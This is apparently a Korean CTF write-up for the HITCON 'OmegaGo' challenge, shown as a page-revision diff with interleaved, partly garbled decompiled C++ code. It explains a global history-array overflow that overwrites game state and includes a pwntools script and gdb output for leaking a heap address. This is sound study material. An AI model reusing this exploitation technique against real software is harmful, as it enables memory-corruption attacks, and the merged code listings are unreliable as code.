Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.
Panel

Excuse the ads! We need some help to keep our site up.

List

Table of Contents
outlinetrue
excludeList

Infomation

Description

Panel
title내용

Want to fight with AlphaGo? Beat OmegaGo first.
nc 52.198.232.90 31337


Note: The game rule has been simplified to make life easier.

omega_go 
libc.so.6

Related file

Panel
titleFile list

Source Code

Panel
titleSource code


Write Up

OS information

  • 해당 문제는 아래와 같은 환경에서 테스트 하였습니다.
    • 실제 문제가 출제된 서버 환경과 다릅니다.
Code Block
titleOS information
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.3 LTS
Release:	16.04
Codename:	xenial
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$

File information

Code Block
titleFile information
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ 

Binary analysis

  • 다음과 같은 기능을 제공합니다.
    • 행,열을 번호를 입력하여 원하는 영역에 마크를 표시할 수 있습니다.
      • Ex) A19
    • "surrender"를 이용하여 게임을 포기하고 다시 시작할 수 있습니다.
    • "regret"을 이용하여 플레이를 되돌릴 수 있습니다.
Code Block
titlePlay game
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

A19
   ABCDEFGHIJKLMNOPQRS
19 X..................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ..................O
Time remain: O: 180.00, X: 173.38

regret
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00
surrender
This AI is too strong, ah?
Play history? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
piece O play at J10
Time remain: O: 180.00, X: 180.00

Play again? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

Struct

  • 해당 바이너리를 분석하기 위해 다음과 같은 구조체들이 필요합니다.
    • 해당 바이너리는 C++로 개발되어 있으며 vtable을 사용하고 있습니다.
  • 아래 구조체는 AI Class의 play함수를 표현하는 구조체 입니다.

...

Code Block
titlestruct GameInfo
struct GameInfo
{
  _QWORD board[12];
  _DWORD rowNumber;
  _DWORD colNumber;
  _QWORD player;
  double playTimeForAI;
  double playTimeForHuman;
};

Main()

  • 해당 함수는 while() 함수를 이용하여 MainFunction()함수를 계속 호출합니다.
Code Block
languagecpp
titlemain()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@3
  __int64 v4; // rbx@3
  __int64 v5; // [rsp+8h] [rbp-18h]@1

  v5 = *MK_FP(__FS__, 40LL);
  alarm(0xB4u);
  setvbuf(stdout, 0LL, 2, 0LL);
  while (MainFunction());
  result = 0LL;
  v4 = *MK_FP(__FS__, 40LL) ^ v5;
  return result;
}

MainFunction(0x401738)

  • 해당 함수는 다음과 같은 기능을 합니다.
    • setDefGameinfo() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.

    • "operator new(8uLL)" 코드를 이용하여 AI, HUMAN 변수에 Heap 영역(8byte)을 할당합니다.

      각 Class 별 할당되는 Heap의 크기는 16byte 입니다

      .

      • setAIFunction(), setHUMANFunction() 함수를 이용해 할당 받은 영역에 호출할 함수의 주소를 저장합니다.

      • 각 구조체의 Play 포인터 함수에 저장되는 주소는 다음과 같습니다.
        • AI→Play(0x405040)→0x40290A
        • HUMAN→Play(0x405020)→0x402C12
      • 할당된 Heap 영역은 게임을 재시작해도 해제되지 않습니다.
    • while()while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.

      • gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.

      • rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.

      • rowNumber, colNumber 의 값이 -2일 경우에는 게임 턴을 한차례 돌리는 regret()함수를 호출합니다.
      • 그외의 rowNumber, colNumber 값이 입력 되면 플레이어의 플레이시간을 저장합니다.
        • 총 플레이시간이 0.0보다 작으면 게임을 종료합니다.
        • 총 플레이시간이 0.0보다 크면 SetMarkForBoard()함수를 이용하여 게임 보드 rowNumber,colNumber 위치에 표시합니다.
Code Block
languagecpp
titleMainFunction()
__int64 OmegaGo()
{
  Method *AI; // rbx
  Method *HUMAN; // rbx
  unsigned int rowNumber; // [rsp+Ch] [rbp-64h]
  unsigned int colNumber; // [rsp+10h] [rbp-60h]
  int playerNum; // [rsp+14h] [rbp-5Ch]
  double playTime; // [rsp+18h] [rbp-58h]
  struct timeval startTime; // [rsp+20h] [rbp-50h]
  struct timeval endTime; // [rsp+30h] [rbp-40h]
  Method *player[2]; // [rsp+40h] [rbp-30h]
  unsigned __int64 v10; // [rsp+58h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  setDefGameinfo();
  playerNum = 1;
  AI = (Method *)operator new(8uLL);
  AI->Play = 0LL;
  setAIFunction(AI);
  player[0] = AI;
  HUMAN = (Method *)operator new(8uLL);
  HUMAN->Play = 0LL;
  setHUMANFunction(HUMAN);
  player[1] = HUMAN;
  while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) )
  {
    gettimeofday(&startTime, 0LL);
    (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber);
    gettimeofday(&endTime, 0LL);
    playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0
             + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec));
    if ( rowNumber == -1 || colNumber == -1 )
      break;
    if ( rowNumber != -2 && colNumber != -2 )
    {
      *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL]
                                                              - playTime;
      if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 )
        print("Time's up");
      SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0);
      playerNum ^= 3u;
    }
    else if ( (unsigned __int8)regret() ^ 1 )
    {
      print("No you cant't");
    }
  }
  CheckResults();
  PlayHistory();
  return PlayAgain();
}

SetMarkForBoard

...

UserInput(HUMAN→Play(0x405020)→0x402C12)

  • 해당 함수는 다음과 같은 기능을 합니다.

    • PrintGameBoard_0

      callPrintBoard()

      함수를 이용하여 Go board를 출력합니다

      함수에 의해 Borad가 출력됩니다.

    • scanf() 함수를

      이용하여 최대 10개의 문자를

      이용해 사용자로 부터 좌표 값 또는 명령어를 입력 받습니다.

    • 입력받은 문자열은 다음과 같이 데이터 처리 합니다.
      • 입력한 문자열이 "surrender"는 *colNumber, *rowNumber 변수에 -1을 저장합니다.
      • 입력한 문자열이 "regret"는 *colNumber, *rowNumber 변수에 -2을 저장합니다.
      • 앞에 두 문자열과 같지 않을 경우 다음과 같이 데이터를 처리합니다.
        • sscanf() 함수를 이용하여 문자와 숫자 값을 분리 합니다.
        • 그리고 해당 값은 CheckBoardArea()함수를 이용하여 Go board 범위 안에 포함되는지 확인합니다.
      • 특이한 부분은 다음과 같습니다.

        • 입력 받은 내용을 gCmd(0x60943C) 전역 변수에 저장

        • 10개의 문자를 입력 받지만 sscanf()함수에 의해 1개의 문자,1개의 숫자값을 사용

    • 입력 받은 명령어에 따라 다음과 같이 값을 설정합니다.

      • surrender : col = -1, row = -1

      • regret : col = -2, row = -2

    • 명령어가 아닐 경우 좌표 값이 저장됩니다.
Code Block
Code Block
languagecpp
titleUserInput()
unsigned __int64 __fastcall UserInput(__int64 a1, __int64 a2GameInfo *gameInfo, __int64 a3playerNum, signed int *a4row, signed int *a5col)
{
  bool v5areaOverflow; // al@11al
 signed int *colNumber; // [rsp+8h] [rbp-38h]@1
 signed int *rowNumber; // [rsp+10h] [rbp-30h]@1
 char colCharchar chCol; // [rsp+37h] [rbp-9h]@7
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]@1

 rowNumber v10 = a4__readfsqword(0x28u);
 colNumber = a5;
 v10 = *MK_FP(__FS__, 40LL callPrintBoard(gameInfo);
 PrintGameBoard_0(a2);
 memset(commandgCmd, 0, 0xCuLL);
  if ( scanf("%10s", commandgCmd) != 1 )
    print("Er?");
  if ( !strcmp("surrender", commandgCmd) )
  {
    *colNumbercol = -1;
    *rowNumberrow = *colNumbercol;
  }
  else if ( !strcmp("regret", commandgCmd) )
  {
    *colNumbercol = -2;
    *rowNumberrow = *colNumbercol;
  }
  else
  {
    if ( sscanf(commandgCmd, "%c%d", &colCharchCol, rowNumberrow) != 2 )
      print("Input like 'A19'");
    *colNumbercol = colCharchCol - 'A'65;
    *rowNumberrow = 19 - *rowNumberrow;
 v5   areaOverflow = (unsigned __int8)CheckBoardAreacheckBoardArea(*rowNumberrow) ^ 1 || (unsigned __int8)CheckBoardAreacheckBoardArea(*colNumbercol) ^ 1;
    if ( v5areaOverflow )
      print("No overflow plz.");
  }
  return *MK__FP(__FS__, 40LLreadfsqword(0x28u) ^ v10;
}

...

SetMarkForBoard

  • 해당 함수는 다음과 같은 기능을 합니다.

    • Go game board를 출력합니다

      player 변수의 값을 이용해 플레이어의 마크를 결정합니다.

    • puts

      saveMarkofBoard()

      함수를 이용해서 세로 좌표값을 출력합니다.(ABCD...)
    • GetMarkForBoard()함수를 이용하여 전달된 인자값에 위치한 mark를 출력합니다.
    • fprintf()함수를 이용하여 Player의 play 시간을 출력합니다.
    • a2변수는 History 출력할때 사용되는 설정 값입니다.
      • a2변수 값으로 1이 전달되면, 플레이어의 Mark와 좌표값을 출력합니다.
    • 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.

    • 각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.

      • CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...

    • 입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.

    • 입력한 위치 값이 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.

      • "operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.

      • 할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.

      • 즉, 사용자가 입력한 좌표 값이 Heap 영역에 저장됩니다.

  • 취약성은 여기서 발생합니다.

    • GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.

    • gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.

    • 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 전역 변수에 Heap address가 Overflow됩니다.

    • 즉, 사용자가 입력한 위치 값에 의해 Heap address를 변경 할 수 있습니다.

Code Block
titleSetMarkForBoard()
signed 
Code Block
languagecpp
titlePrintGameBoard()
__int64 __fastcall PrintGameBoardSetMarkForBoard(GameInfo *gameInfo, char a2gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
 char v2  signed __int64 result; // al@6rax
  signed int rowmark; // [rsp+20h eax MAPDST
  bool v7; // al
  GameInfo *historyCount; // rax
  GameInfo *saveGameInfo; // ST30_8
  signed int i; // [rsp+24h] [rbp-10h2Ch]@1
 signed unsigned int colrow; // [rsp+24h28h] [rbp-Ch28h]@5
 __int64 v6 unsigned int col; // [rsp+28h2Ch] [rbp-8h24h]@1

  v6if =( *MK_FP(unsigned __FSint8)GetMarkForBoard((__int64)gameinfo, 40LL);
 puts(" ABCDEFGHIJKLMNOPQRS");
 for ( row = 0; row <= 18; ++rowinputRow, inputCol) == '.' )
  {
    if ( player == 1 )
 {
 	if ( 19 - rowmark <= 9 )
 		putchar(' ');
 	else
 		putchar('1');
 		putchar((19 - row) % 10 + 48);
 		putchar(' ');
 	for ( col'O';
    else
      mark = 'X';
    saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);
    gameinfo->rowNumber = inputRow;
    gameinfo->colNumber = inputCol;
    for ( i = 0; coli <= 183; ++coli )
 	   {
   		v2 = GetMarkForBoard(gameInfo, row, col);
 		putchar(v2);
 	}
 	puts(&byte_404E87);
 }
 if ( a2 )
 	fprintf(
	 stdout,
	 "piece %c play at %c%d\n",
	 LODWORD(gameInfo->colNumber),
	 (unsigned int)(HIDWORD(gameInfo->rowNumber) + 'A'),
	 (unsigned int)(19 - LODWORD(gameInfo->rowNumber)));
 fprintf(
 stdout,
 "Time remain: %c: %6.2lf, %c: %6.2lf\n",
 'O',
 'X',
 *(double *)&gameInfo->player,
 gameInfo->playTimeForCom);
 puts(&byte_404E87);
 return *MK_FP(__FS__, 40LL) ^ v6;
}

ResetGameinfo - 0x04010AE

  • 해당 구조체는 다음 함수에서 초기화 됩니다.
    • memset()함수를 이용하여 0x60 byte만큼 0으로 초기화 합니다.
    • rowNumber,colNumber의 값을 -1로 저장합니다.

    • player의 값으로는 0을 저장합니다.
    • playTimeForHum, playTimeForCom의 값으로 4640537203540230144을 저장합니다.

Code Block
languagecpp
titleResetGameinfo_04010AE(GameInfo *gameInfo)
__int64 __fastcall ResetGameinfo(GameInfo *gameInfo)
{
  GameInfo *tmp; // ST08_8@1
  __int64 canary; // ST18_8@1

  tmp = gameInfo;
  canary = *MK_FP(__FS__, 40LL);
  memset(gameInfo, 0, 0x60uLL);
  gameInfo->colNumber = -1;
  tmp->rowNumber = tmp->colNumber;
  LODWORD(gameInfo->player) = 0;
  *(_QWORD *)&gameInfo->playTimeForHum = 4640537203540230144LL;
  tmp->playTimeForCom = tmp->playTimeForHum;
  return *MK_FP(__FS__, 40LL) ^ canary;
}

SetMarkForBoard - 0x04025B2

  • 해당 함수는 다음과 같은 기능을 합니다.
    • GetMarkForBoard() 함수를 이용하여 유저가 입력한 좌표의 값이 '.' 문자와 같은지 확인합니다.

    • playerInfo의 값을 이용하여 board에 표시할 mark 문자를 설정합니다.
    • 그리고 사용자로 부터 입력받은 값이 정상적인 값인지 확인합니다.
    • 마지막으로 그 값이 정상적인 값이라면 다음과 같은 처리를 진행합니다.
      • "operator new(0x80uLL)" 코드에 의해 Heap 영역을 할당합니다.
        • 할당된 Heap 메모리의 크기는 0x90 byte 입니다.
      • gameInfo에 보관된 값을 할당된 Heap 영역에 저장합니다.
      • 할당된 Heap 영역의 주소 값을 history[]변수에 저장합니다.
Code Block
languagecpp
titleSetMarkForBoard
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameInfo, unsigned int rowNumber, unsigned int colNumber, int playerInfo, unsigned __int8 a5)
{
  signed __int64 result; // rax@3
  signed int playerMark; // eax@6
  bool v7; // al@11
  GameInfo *v8; // rax@28
  GameInfo *v9; // ST30_8@28
  __int64 v10; // rbx@30
  unsigned __int8 v11; // [rsp+8h] [rbp-48h]@1
  int playerDistinction; // [rsp+Ch] [rbp-44h]@1
  signed int playerMark_1; // [rsp+Ch] [rbp-44h]@8
  unsigned int col; // [rsp+10h] [rbp-40h]@1
  signed int i; // [rsp+24h] [rbp-2Ch]@8
  unsigned int row; // [rsp+28h] [rbp-28h]@9
  int v17; // [rsp+2Ch] [rbp-24h]@9
  __int64 v18; // [rsp+38h] [rbp-18h]@1

  col = colNumber;
  playerDistinction = playerInfo;
  v11 = a5;
  v18 = *MK_FP(__FS__, 40LL);
  if ( (unsigned __int8)GetMarkForBoard(gameInfo, rowNumber, colNumber) == '.' )
  {
    if ( playerDistinction == 1 )
      playerMark = 'O';
    else
      playerMark = 'X';
    playerMark_1 = playerMark;
    sub_401D48(gameInfo, rowNumber, col, playerMark);
    LODWORD(gameInfo->rowNumber) = rowNumber;
    HIDWORD(gameInfo->rowNumber) = col;
    for ( i = 0; i <= 3; ++i )
    {
      row = dword_404FE0[i] + rowNumber;
      v17 = dword_404FF0[i] + col;
      v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(v17) ^ 1;
      if ( !v7
        && (char)GetMarkForBoard(gameInfo, row, v17) == 167 - playerMark_1
        && (unsigned int)sub_402330(gameInfo, row, v17) == 0 )
      {
        sub_4024C2((__int64)gameInfo, row, v17);
      }
    }
    if ( (unsigned int)sub_402330(gameInfo, rowNumber, col) == 0 )
    {
      if ( !v11 )
        print("Why you do this :((");
      result = 0LL;
    }
    else if ( (unsigned __int8)sub_402528(gameInfo, v11) )
    {
      if ( !v11 )
        print("Wanna Ko Fight?");
      result = 0LL;
    }
    else
    {
      if ( v11 != 1 )
      {
        LODWORD(gameInfo->colNumber) = playerMark_1;
        operator new(0x80uLL);
        v8->board[0] = gameInfo->board[0];
        v8->board[1] = gameInfo->board[1];
        v8->board[2] = gameInfo->board[2];
        v8->board[3] = gameInfo->board[3];
        v8->board[4] = gameInfo->board[4];
        v8->board[5] = gameInfo->board[5];
        v8->board[6] = gameInfo->board[6];
        v8->board[7] = gameInfo->board[7];
        v8->board[8] = gameInfo->board[8];
        v8->board[9] = gameInfo->board[9];
        v8->board[10] = gameInfo->board[10];
        v8->board[11] = gameInfo->board[11];
        v8->rowNumber = gameInfo->rowNumber;
        v8->colNumber = gameInfo->colNumber;
        v8->player = gameInfo->player;
        v8->playTimeForCom = gameInfo->playTimeForCom;
        v9 = v8;
        LODWORD(v8) = historyCount++;
        history[(signed int)v8] = v9;
      }
      result = 1LL;
    }
  }
  else
  {
    if ( !v11 )
      print("You cheater!");
    result = 0LL;
  }
  v10 = *MK_FP(__FS__, 40LL) ^ v18;
  return result;
}

regret() - 0x0401609

  • 해당 함수는 다음과 같은 기능을 처리 합니다.
    • Computer,사람의 플레이 정보를 지우기 위해 DeletePlayHistory()를 2번 호출합니다.

      • history[]배열의 끝에 저장된 2개의 값을 제거합니다.
    • 그리고 history[] 배열에 끝에 저장된 heap 영역의 정보를 gameInfo 전역 변수에 저장합니다.
      • 이전 플레이로 되돌리는 것입니다.
Code Block
languagecpp
titleregret()
signed __int64 regret()
{
  signed __int64 result; // rax@2
  GameInfo *tmp; // rax@4
  __int64 v2; // rcx@6
  __int64 v3; // [rsp+8h] [rbp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  if ( historyCount > 1 )
  {
    DeletePlayHistory();                        // Computer play history
    DeletePlayHistory();                        // Human paly history
    if ( history[historyCount - 1] )
    {
      tmp = history[historyCount - 1];
      gameInfo.board[0] = tmp->board[0];
      gameInfo.board[1] = tmp->board[1];
      gameInfo.board[2] = tmp->board[2];
      gameInfo.board[3] = tmp->board[3];
      gameInfo.board[4] = tmp->board[4];
      gameInfo.board[5] = tmp->board[5];
      gameInfo.board[6] = tmp->board[6];
      gameInfo.board[7] = tmp->board[7];
      gameInfo.board[8] = tmp->board[8];
      gameInfo.board[9] = tmp->board[9];
      gameInfo.board[10] = tmp->board[10];
      gameInfo.board[11] = tmp->board[11];
      *(_QWORD *)&gameInfo.rowNumber = *(_QWORD *)&tmp->rowNumber;
      gameInfo.player = tmp->player;
      gameInfo.playTimeForCom = tmp->playTimeForCom;
      gameInfo.playTimeForHum = tmp->playTimeForHum;
    }
    result = 1LL;
  }
  else
  {
    result = 0LL;
  }
  v2 = *MK_FP(__FS__, 40LL) ^ v3;
  return result;
}

DeletePlayHistory()

  • 해당 함수는 다음과 같은 기능을 처리합니다.
    • 이전에 play한 history가 있는지 확인합니다.
    • 해당 history가 있다면 operator delete() 를 이용해 해당 history를 삭제 합니다.
    • 그리고 historyCount값도 감소 시킵니다.
Code Block
languagecpp
titleDeletePlayHistory()
__int64 DeletePlayHistory()
{
  __int64 v1; // [rsp+0h] [rbp-10h]@2
  __int64 canary; // [rsp+8h] [rbp-8h]@1

  canary = *MK_FP(__FS__, 40LL);
  if ( !history[historyCount - 1] )
    return *MK_FP(__FS__, 40LL) ^ canary;
  v1 = sub_401EB6(history[historyCount - 1]);

  operator delete(history[historyCount - 1]);


  sub_402FE6((__int64)&unk_607220, (__int64)&v1);
  --historyCount;
  return *MK_FP(__FS__, 40LL) ^ canary;
}

Explanation of vulnerability

Overflow

  • 해당 프로그램의 취약성은 history를 저장하는 부분에서 발생합니다.
    • 사용자가 입력한 좌표값을 history[] 배열에 저장하는데 제한이 없습니다.
    • history[] 변수는 전역 변수이며, 배열의 크기는 364 입니다.
      • GameInfo *history[364]

    • history[] 전역 변수의 위치는 0x609460입니다.
Code Block
languagecpp
titleOverflow
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameInfo, unsigned int rowNumber, unsigned int colNumber, int playerInfo, unsigned __int8 a5)
{
	...
      if ( v11 != 1 )
      {
        LODWORD(gameInfo->player) = playerMark_1;
        operator new(0x80uLL);
        *v8 = *gameInfo;
        v9 = v8;
        LODWORD(v8) = historyCount++;
        history[(signed int)v8] = v9;
      }
	...
}
  • 해당 Overflow 취약성을 이용해 전역 변수 gameInfo의 값을 변경할 수 있습니다.
    • 전역 변수 gameInfo의 주소는 0x609FC0입니다.
    • 해당 위치는 바로 history[] 전역 변수 바로 뒤에 위치합니다.
      • 0x609FC0 - 0x609460 = 0xb60(2912) / 0x8(address len) = 364
  • 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Code Block
languagepy
titleOverflow for gameInfo
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gameInfo 전역 변수에 heap address 값이 저장된 것을 확인 할 수 있습니다.
Code Block
titleoverflow for gameInfo
autolycos@ubuntu:~$ sudo gdb -q -p 32116
Attaching to process 32116

...


(gdb) x/wx 0x609FC0
0x609fc0:	0x02320180
(gdb) x/gx 0x609FC0
0x609fc0:	0x0000000002320180
(gdb) x/8gx 0x609FC0 - 0x10
0x609fb0:	0x0000000002320000	0x00000000023200c0
0x609fc0:	0x0000000002320180	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
(gdb)
  • 그리고 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
    • 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
Code Block
titleBoard
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ python fillout.py 
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': Done
   ABCDEFGHIJKLMNOPQRS
19 ...XO...X.\x00.X......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.83
$

Decode

  • 추출된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
  • 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
    • 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.

    • 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

Code Block
title좌표 입력
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

... board print ...

A19
... board print ...

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
(gdb) 
  • 메모리의 변화는 조금더 확인하기 위해 19열을 가득 채워 보겠습니다.
    • 유저가 입력한 값은 0x2aaaaaaaaa 입니다.

    • 컴퓨터가 입력한 값은 0x01555555555 입니다.

Code Block
title19열 채우기
   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
(gdb)
  • 앞에서 확인한 내용을 바탕으로 Player별 Mark 표시는 다음과 같이 bit단위로 설정하고 있다는 것을 알수 있습니다.

...

titleMark 식별
= dword_404FE0[i] + inputRow;
      col = dword_404FF0[i] + inputCol;
      v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1;
      if ( !v7
        && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark
        && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 )
      {
        sub_4024C2((__int64)gameinfo, row, col);
      }
    }
    if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
    {
      if ( !printOpt )
        print("Why you do this :((");
      result = 0LL;
    }
    else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) )
    {
      if ( !printOpt )
        print("Wanna Ko Fight?");
      result = 0LL;
    }
    else
    {
      if ( printOpt != 1 )
      {
        LODWORD(gameinfo->player) = mark;
        historyCount = (GameInfo *)operator new(0x80uLL);
        *historyCount = *gameinfo;
        saveGameInfo = historyCount;
        LODWORD(historyCount) = gHistoryCount++;
        gHistory[(signed int)historyCount] = saveGameInfo;
      }
      result = 1LL;
    }
  }
  else
  {
    if ( !printOpt )
      print("You cheater!");
    result = 0LL;
  }
  return result;
}

regret()

  • 해당 함수는 다음과 같은 기능을 합니다.

    • historyCnt변수의 값이 0 일 경우 해당 함수는 종료됩니다.

    • historyCnt변수의 값이 0 아닐 경우 다음과 같은 코드를 실행합니다.

      • DeletePlayHistory() 함수를 이용해 gHistory[] 에 맨 마지막에 플레이한 GameInfo를 삭제 합니다.

        • AI, Human의 플레이 기록을 삭제합니다.

      • AI가 마지막에 플레이한 GameInfo를 추출해 gPlayerGameInfo에 저장합니다.

    • 여기서도 악용 할 수 있는 코드가 있습니다.

      • 앞에서 설명한 취약성에 의해 gPlayerGameInfo 전역 변수(gHistory[365]) 에 Heap address가 Overflow됩니다.

      • 사용자 입력 값을 이용해 gPlayerGameInfo 전역 변수(gHistory[365])에 저장된 Heap address를 변경합니다.

        • gHistory[365] : 변경된 Heap address

        • gHistory[366] : Heap address

        • gHistory[367] : Heap address

